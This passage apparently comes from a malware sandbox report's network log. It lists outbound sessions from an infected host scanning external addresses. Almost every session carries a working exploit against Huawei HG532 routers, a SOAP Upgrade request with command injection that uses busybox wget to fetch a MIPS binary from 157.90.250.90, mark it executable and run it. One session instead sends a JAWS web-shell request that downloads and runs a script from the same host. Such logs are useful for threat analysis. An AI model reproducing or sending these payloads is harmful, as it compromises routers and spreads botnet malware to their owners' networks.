2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	42426	156.92.88.230	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805114985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	47254	41.29.72.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805186987 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	44818	197.179.146.198	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805250883 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	37894	197.57.152.227	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805340052 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	42668	41.51.237.63	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805433035 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	60860	197.201.203.200	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805517912 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	36916	197.198.188.20	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:53.823390007 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 3, 2024 23:01:54.466016054 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	43294	156.208.58.152	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.886209011 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	55660	197.174.22.109	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.899735928 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	42998	184.145.222.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.899782896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	45290	156.85.239.222	37215

Timestamp	Bytes transferred	Direction	Data
